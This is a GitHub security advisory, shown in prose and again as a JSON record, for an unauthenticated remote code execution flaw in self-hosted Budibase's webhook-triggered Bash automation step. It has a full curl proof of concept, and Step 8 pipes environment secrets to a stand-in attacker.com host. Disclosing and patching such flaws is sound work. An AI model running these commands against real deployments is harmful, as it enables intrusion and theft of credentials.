GHSA-FCM4-4PJ2-M5HF
Vulnerability from github – Published: 2026-04-04 06:04 – Updated: 2026-04-04 06:04Summary
An unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as root inside the container.
Details
Vulnerable endpoint — packages/server/src/api/routes/webhook.ts line 13:
// this shouldn't have authorisation, right now its always public
publicRoutes.post("/api/webhooks/trigger/:instance/:id", controller.trigger)
The webhook trigger endpoint is registered on publicRoutes with no authentication
middleware. Any unauthenticated HTTP client can POST to this endpoint.
Vulnerable sink — packages/server/src/automations/steps/bash.ts lines 21–26:
const command = processStringSync(inputs.code, context)
stdout = execSync(command, { timeout: environment.QUERY_THREAD_TIMEOUT }).toString()
The Bash automation step uses Handlebars template processing (processStringSync) on
inputs.code, substituting values from the webhook request body into the shell command
string before passing it to execSync().
Attack chain:
HTTP POST /api/webhooks/trigger/{appId}/{webhookId} ← NO AUTH
↓
controller.trigger() [webhook.ts:90]
↓
triggers.externalTrigger()
↓ webhook fields flattened into automation context
automation.steps[EXECUTE_BASH].run() [actions.ts:131]
↓
processStringSync("{{ trigger.cmd }}", { cmd: "ATTACKER_PAYLOAD" })
↓
execSync("ATTACKER_PAYLOAD") ← RCE AS ROOT
Precondition: An admin must have created and published an automation containing:
1. A Webhook trigger
2. A Bash step whose code field uses a trigger field template (e.g., {{ trigger.cmd }})
This is a legitimate and documented workflow. Such configurations may exist in production deployments for automation of server-side tasks.
Note on EXECUTE_BASH availability: The bash step is only registered when
SELF_HOSTED=1 (actions.ts line 129), which applies to all self-hosted deployments:
// packages/server/src/automations/actions.ts line 126-132
// don't add the bash script/definitions unless in self host
if (env.SELF_HOSTED) {
ACTION_IMPLS["EXECUTE_BASH"] = bash.run
BUILTIN_ACTION_DEFINITIONS["EXECUTE_BASH"] = automations.steps.bash.definition
}
Webhook context flattening (why {{ trigger.cmd }} works):
In packages/server/src/automations/triggers.ts lines 229–239, for webhook automations
the params.fields are spread directly into the trigger context:
// row actions and webhooks flatten the fields down
else if (sdk.automations.isWebhookAction(automation)) {
params = {
...params,
...params.fields, // { cmd: "PAYLOAD" } becomes top-level
fields: {},
}
}
This means a webhook body {"cmd": "id"} becomes accessible as {{ trigger.cmd }}
in the bash step template.
PoC
Environment
Target: http://TARGET:10000 (any self-hosted Budibase instance)
Tester: Any machine with curl
Auth: Admin credentials required for SETUP PHASE only
Zero auth required for EXPLOITATION PHASE
PHASE 1 — Admin Setup (performed once by legitimate admin)
Note: This phase represents normal Budibase usage. Any admin who creates a webhook automation with a bash step using template variables creates this exposure.
Step 1 — Authenticate as admin:
curl -c cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \
-H "Content-Type: application/json" \
-d '{
"username": "admin@company.com",
"password": "adminpassword"
}'
# Expected response:
# {"message":"Login successful"}
Step 2 — Create an application:
curl -b cookies.txt -X POST http://TARGET:10000/api/applications \
-H "Content-Type: application/json" \
-d '{
"name": "MyApp",
"useTemplate": false,
"url": "/myapp"
}'
# Note the appId from the response, e.g.:
# "appId": "app_dev_c999265f6f984e3aa986788723984cd5"
APP_ID="app_dev_c999265f6f984e3aa986788723984cd5"
Step 3 — Create automation with Webhook trigger + Bash step:
curl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \
-H "Content-Type: application/json" \
-H "x-budibase-app-id: $APP_ID" \
-d '{
"name": "WebhookBash",
"type": "automation",
"definition": {
"trigger": {
"id": "trigger_1",
"name": "Webhook",
"event": "app:webhook:trigger",
"stepId": "WEBHOOK",
"type": "TRIGGER",
"icon": "paper-plane-right",
"description": "Trigger an automation when a HTTP POST webhook is hit",
"tagline": "Webhook endpoint is hit",
"inputs": {},
"schema": {
"inputs": { "properties": {} },
"outputs": {
"properties": { "body": { "type": "object" } }
}
}
},
"steps": [
{
"id": "bash_step_1",
"name": "Bash Scripting",
"stepId": "EXECUTE_BASH",
"type": "ACTION",
"icon": "git-branch",
"description": "Run a bash script",
"tagline": "Execute a bash command",
"inputs": {
"code": "{{ trigger.cmd }}"
},
"schema": {
"inputs": {
"properties": { "code": { "type": "string" } }
},
"outputs": {
"properties": {
"stdout": { "type": "string" },
"success": { "type": "boolean" }
}
}
}
}
]
}
}'
# Note the automation _id from response, e.g.:
# "automation": { "_id": "au_b713759f83f64efda067e17b65545fce", ... }
AUTO_ID="au_b713759f83f64efda067e17b65545fce"
Step 4 — Enable the automation (new automations start as disabled):
# Fetch full automation JSON
AUTO=$(curl -sb cookies.txt "http://TARGET:10000/api/automations/$AUTO_ID" \
-H "x-budibase-app-id: $APP_ID")
# Set disabled: false and PUT it back
UPDATED=$(echo "$AUTO" | python3 -c "
import sys, json
d = json.load(sys.stdin)
d['disabled'] = False
print(json.dumps(d))
")
curl -b cookies.txt -X PUT http://TARGET:10000/api/automations/ \
-H "Content-Type: application/json" \
-H "x-budibase-app-id: $APP_ID" \
-d "$UPDATED"
Step 5 — Create webhook linked to the automation:
curl -b cookies.txt -X PUT "http://TARGET:10000/api/webhooks/" \
-H "Content-Type: application/json" \
-H "x-budibase-app-id: $APP_ID" \
-d "{
\"name\": \"MyWebhook\",
\"action\": {
\"type\": \"automation\",
\"target\": \"$AUTO_ID\"
}
}"
# Note the webhook _id from response, e.g.:
# "webhook": { "_id": "wh_f811a038ed024da78b44619353d4af2b", ... }
WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b"
Step 6 — Publish the app to production:
curl -b cookies.txt -X POST "http://TARGET:10000/api/applications/$APP_ID/publish" \
-H "x-budibase-app-id: $APP_ID"
# Expected: {"status":"SUCCESS","appUrl":"/myapp"}
# Production App ID = strip "dev_" from dev ID:
# app_dev_c999265f... → app_c999265f...
PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5"
PHASE 2 — Exploitation (ZERO AUTHENTICATION REQUIRED)
The attacker only needs the production app_id and webhook_id.
These can be obtained via:
- Enumeration of the Budibase web UI (app URLs are semi-public)
- Leaked configuration files or environment variables
- Insider knowledge or social engineering
Step 7 — Basic RCE — whoami/id:
PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5"
WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b"
TARGET="http://TARGET:10000"
# NO cookies. NO API key. NO auth headers. Pure unauthenticated request.
curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \
-H "Content-Type: application/json" \
-d '{"cmd":"id"}'
# HTTP Response (immediate):
# {"message":"Webhook trigger fired successfully"}
# Command executes asynchronously inside container as root.
# Output confirmed via container inspection or exfiltration.
Step 8 — Exfiltrate all secrets:
curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \
-H "Content-Type: application/json" \
-d '{"cmd":"env | grep -E \"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\" | curl -s -X POST https://attacker.com/collect -d @-"}'
Confirmed secrets leaked (no auth):
JWT_SECRET=testsecret
API_ENCRYPTION_KEY=testsecret
COUCH_DB_URL=http://budibase:budibase@couchdb-service:5984
REDIS_PASSWORD=budibase
REDIS_URL=redis-service:6379
MINIO_ACCESS_KEY=budibase
MINIO_SECRET_KEY=budibase
INTERNAL_API_KEY=budibase
LITELLM_MASTER_KEY=budibase
Impact
-
Who is affected: All self-hosted Budibase deployments (
SELF_HOSTED=1) where any admin has created an automation with a Bash step that uses webhook trigger field templates. This is a standard, documented workflow. -
What can an attacker do:
- Execute arbitrary OS commands as
rootinside the application container - Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys
- Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet
- Establish reverse shells and persistent access
- Read/write/delete all application data via CouchDB access
- Forge JWT tokens using the leaked
JWT_SECRETto impersonate any user -
Potentially escape the container if
--privilegedor volume mounts are used -
Authentication required: None — completely unauthenticated
- User interaction required: None
- Network access required: Only access to port 10000 (the Budibase proxy port)
Discovered By: Abdulrahman Albatel Abdullah Alrasheed
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@budibase/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.33.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35216"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-04T06:04:58Z",
"nvd_published_at": "2026-04-03T16:16:41Z",
"severity": "CRITICAL"
},
"details": "### Summary\nAn unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as `root` inside the container.\n\n### Details\n\n**Vulnerable endpoint \u2014 `packages/server/src/api/routes/webhook.ts` line 13:**\n\n```typescript\n// this shouldn\u0027t have authorisation, right now its always public\npublicRoutes.post(\"/api/webhooks/trigger/:instance/:id\", controller.trigger)\n```\n\nThe webhook trigger endpoint is registered on `publicRoutes` with **no authentication\nmiddleware**. Any unauthenticated HTTP client can POST to this endpoint.\n\n**Vulnerable sink \u2014 `packages/server/src/automations/steps/bash.ts` lines 21\u201326:**\n\n```typescript\nconst command = processStringSync(inputs.code, context)\nstdout = execSync(command, { timeout: environment.QUERY_THREAD_TIMEOUT }).toString()\n```\n\nThe Bash automation step uses Handlebars template processing (`processStringSync`) on\n`inputs.code`, substituting values from the webhook request body into the shell command\nstring before passing it to `execSync()`.\n\n**Attack chain:**\n\n```\nHTTP POST /api/webhooks/trigger/{appId}/{webhookId} \u2190 NO AUTH\n \u2193\ncontroller.trigger() [webhook.ts:90]\n \u2193\ntriggers.externalTrigger()\n \u2193 webhook fields flattened into automation context\nautomation.steps[EXECUTE_BASH].run() [actions.ts:131]\n \u2193\nprocessStringSync(\"{{ trigger.cmd }}\", { cmd: \"ATTACKER_PAYLOAD\" })\n \u2193\nexecSync(\"ATTACKER_PAYLOAD\") \u2190 RCE AS ROOT\n```\n\n**Precondition:** An admin must have created and published an automation containing:\n1. A Webhook trigger\n2. A Bash step whose `code` field uses a trigger field template (e.g., `{{ trigger.cmd }}`)\n\nThis is a legitimate and documented workflow. Such configurations may exist in\nproduction deployments for automation of server-side tasks.\n\n**Note on EXECUTE_BASH availability:** The bash step is only registered when\n`SELF_HOSTED=1` (`actions.ts` line 129), which applies to all self-hosted deployments:\n\n```typescript\n// packages/server/src/automations/actions.ts line 126-132\n// don\u0027t add the bash script/definitions unless in self host\nif (env.SELF_HOSTED) {\n ACTION_IMPLS[\"EXECUTE_BASH\"] = bash.run\n BUILTIN_ACTION_DEFINITIONS[\"EXECUTE_BASH\"] = automations.steps.bash.definition\n}\n```\n\n**Webhook context flattening** (why `{{ trigger.cmd }}` works):\n\nIn `packages/server/src/automations/triggers.ts` lines 229\u2013239, for webhook automations\nthe `params.fields` are spread directly into the trigger context:\n\n```typescript\n// row actions and webhooks flatten the fields down\nelse if (sdk.automations.isWebhookAction(automation)) {\n params = {\n ...params,\n ...params.fields, // { cmd: \"PAYLOAD\" } becomes top-level\n fields: {},\n }\n}\n```\n\nThis means a webhook body `{\"cmd\": \"id\"}` becomes accessible as `{{ trigger.cmd }}`\nin the bash step template.\n\n### PoC\n\n#### Environment\n\n```\nTarget: http://TARGET:10000 (any self-hosted Budibase instance)\nTester: Any machine with curl\nAuth: Admin credentials required for SETUP PHASE only\n Zero auth required for EXPLOITATION PHASE\n```\n\n---\n\n#### PHASE 1 \u2014 Admin Setup (performed once by legitimate admin)\n\n\u003e **Note:** This phase represents normal Budibase usage. Any admin who creates\n\u003e a webhook automation with a bash step using template variables creates this exposure.\n\n**Step 1 \u2014 Authenticate as admin:**\n\n```bash\ncurl -c cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"username\": \"admin@company.com\",\n \"password\": \"adminpassword\"\n }\u0027\n\n# Expected response:\n# {\"message\":\"Login successful\"}\n```\n\n**Step 2 \u2014 Create an application:**\n\n```bash\ncurl -b cookies.txt -X POST http://TARGET:10000/api/applications \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"name\": \"MyApp\",\n \"useTemplate\": false,\n \"url\": \"/myapp\"\n }\u0027\n\n# Note the appId from the response, e.g.:\n# \"appId\": \"app_dev_c999265f6f984e3aa986788723984cd5\"\n\nAPP_ID=\"app_dev_c999265f6f984e3aa986788723984cd5\"\n```\n\n**Step 3 \u2014 Create automation with Webhook trigger + Bash step:**\n\n```bash\ncurl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \\\n -H \"Content-Type: application/json\" \\\n -H \"x-budibase-app-id: $APP_ID\" \\\n -d \u0027{\n \"name\": \"WebhookBash\",\n \"type\": \"automation\",\n \"definition\": {\n \"trigger\": {\n \"id\": \"trigger_1\",\n \"name\": \"Webhook\",\n \"event\": \"app:webhook:trigger\",\n \"stepId\": \"WEBHOOK\",\n \"type\": \"TRIGGER\",\n \"icon\": \"paper-plane-right\",\n \"description\": \"Trigger an automation when a HTTP POST webhook is hit\",\n \"tagline\": \"Webhook endpoint is hit\",\n \"inputs\": {},\n \"schema\": {\n \"inputs\": { \"properties\": {} },\n \"outputs\": {\n \"properties\": { \"body\": { \"type\": \"object\" } }\n }\n }\n },\n \"steps\": [\n {\n \"id\": \"bash_step_1\",\n \"name\": \"Bash Scripting\",\n \"stepId\": \"EXECUTE_BASH\",\n \"type\": \"ACTION\",\n \"icon\": \"git-branch\",\n \"description\": \"Run a bash script\",\n \"tagline\": \"Execute a bash command\",\n \"inputs\": {\n \"code\": \"{{ trigger.cmd }}\"\n },\n \"schema\": {\n \"inputs\": {\n \"properties\": { \"code\": { \"type\": \"string\" } }\n },\n \"outputs\": {\n \"properties\": {\n \"stdout\": { \"type\": \"string\" },\n \"success\": { \"type\": \"boolean\" }\n }\n }\n }\n }\n ]\n }\n }\u0027\n\n# Note the automation _id from response, e.g.:\n# \"automation\": { \"_id\": \"au_b713759f83f64efda067e17b65545fce\", ... }\n\nAUTO_ID=\"au_b713759f83f64efda067e17b65545fce\"\n```\n\n**Step 4 \u2014 Enable the automation** (new automations start as disabled):\n\n```bash\n# Fetch full automation JSON\nAUTO=$(curl -sb cookies.txt \"http://TARGET:10000/api/automations/$AUTO_ID\" \\\n -H \"x-budibase-app-id: $APP_ID\")\n\n# Set disabled: false and PUT it back\nUPDATED=$(echo \"$AUTO\" | python3 -c \"\nimport sys, json\nd = json.load(sys.stdin)\nd[\u0027disabled\u0027] = False\nprint(json.dumps(d))\n\")\n\ncurl -b cookies.txt -X PUT http://TARGET:10000/api/automations/ \\\n -H \"Content-Type: application/json\" \\\n -H \"x-budibase-app-id: $APP_ID\" \\\n -d \"$UPDATED\"\n```\n\n**Step 5 \u2014 Create webhook linked to the automation:**\n\n```bash\ncurl -b cookies.txt -X PUT \"http://TARGET:10000/api/webhooks/\" \\\n -H \"Content-Type: application/json\" \\\n -H \"x-budibase-app-id: $APP_ID\" \\\n -d \"{\n \\\"name\\\": \\\"MyWebhook\\\",\n \\\"action\\\": {\n \\\"type\\\": \\\"automation\\\",\n \\\"target\\\": \\\"$AUTO_ID\\\"\n }\n }\"\n\n# Note the webhook _id from response, e.g.:\n# \"webhook\": { \"_id\": \"wh_f811a038ed024da78b44619353d4af2b\", ... }\n\nWEBHOOK_ID=\"wh_f811a038ed024da78b44619353d4af2b\"\n```\n\n**Step 6 \u2014 Publish the app to production:**\n\n```bash\ncurl -b cookies.txt -X POST \"http://TARGET:10000/api/applications/$APP_ID/publish\" \\\n -H \"x-budibase-app-id: $APP_ID\"\n\n# Expected: {\"status\":\"SUCCESS\",\"appUrl\":\"/myapp\"}\n\n# Production App ID = strip \"dev_\" from dev ID:\n# app_dev_c999265f... \u2192 app_c999265f...\nPROD_APP_ID=\"app_c999265f6f984e3aa986788723984cd5\"\n```\n\n---\n\n#### PHASE 2 \u2014 Exploitation (ZERO AUTHENTICATION REQUIRED)\n\nThe attacker only needs the production `app_id` and `webhook_id`.\nThese can be obtained via:\n- Enumeration of the Budibase web UI (app URLs are semi-public)\n- Leaked configuration files or environment variables\n- Insider knowledge or social engineering\n\n**Step 7 \u2014 Basic RCE \u2014 whoami/id:**\n\n```bash\nPROD_APP_ID=\"app_c999265f6f984e3aa986788723984cd5\"\nWEBHOOK_ID=\"wh_f811a038ed024da78b44619353d4af2b\"\nTARGET=\"http://TARGET:10000\"\n\n# NO cookies. NO API key. NO auth headers. Pure unauthenticated request.\ncurl -X POST \"$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"cmd\":\"id\"}\u0027\n\n# HTTP Response (immediate):\n# {\"message\":\"Webhook trigger fired successfully\"}\n\n# Command executes asynchronously inside container as root.\n# Output confirmed via container inspection or exfiltration.\n```\n\n**Step 8 \u2014 Exfiltrate all secrets:**\n\n```bash\ncurl -X POST \"$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"cmd\":\"env | grep -E \\\"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\\\" | curl -s -X POST https://attacker.com/collect -d @-\"}\u0027\n```\n\nConfirmed secrets leaked (no auth):\n```\nJWT_SECRET=testsecret\nAPI_ENCRYPTION_KEY=testsecret\nCOUCH_DB_URL=http://budibase:budibase@couchdb-service:5984\nREDIS_PASSWORD=budibase\nREDIS_URL=redis-service:6379\nMINIO_ACCESS_KEY=budibase\nMINIO_SECRET_KEY=budibase\nINTERNAL_API_KEY=budibase\nLITELLM_MASTER_KEY=budibase\n```\n\n### Impact\n- **Who is affected:** All self-hosted Budibase deployments (`SELF_HOSTED=1`) where\n any admin has created an automation with a Bash step that uses webhook trigger field\n templates. This is a standard, documented workflow.\n\n- **What can an attacker do:**\n - Execute arbitrary OS commands as `root` inside the application container\n - Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys\n - Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet\n - Establish reverse shells and persistent access\n - Read/write/delete all application data via CouchDB access\n - Forge JWT tokens using the leaked `JWT_SECRET` to impersonate any user\n - Potentially escape the container if `--privileged` or volume mounts are used\n\n- **Authentication required:** **None** \u2014 completely unauthenticated\n- **User interaction required:** **None**\n- **Network access required:** Only access to port 10000 (the Budibase proxy port)\n\n\n\nDiscovered By:\nAbdulrahman Albatel\nAbdullah Alrasheed",
"id": "GHSA-fcm4-4pj2-m5hf",
"modified": "2026-04-04T06:04:58Z",
"published": "2026-04-04T06:04:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-fcm4-4pj2-m5hf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35216"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/pull/18238"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/commit/f0c731b409a96e401445a6a6030d2994ff4ac256"
},
{
"type": "PACKAGE",
"url": "https://github.com/Budibase/budibase"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/releases/tag/3.33.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Budibase: Unauthenticated Remote Code Execution via Webhook Trigger and Bash Automation Step"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.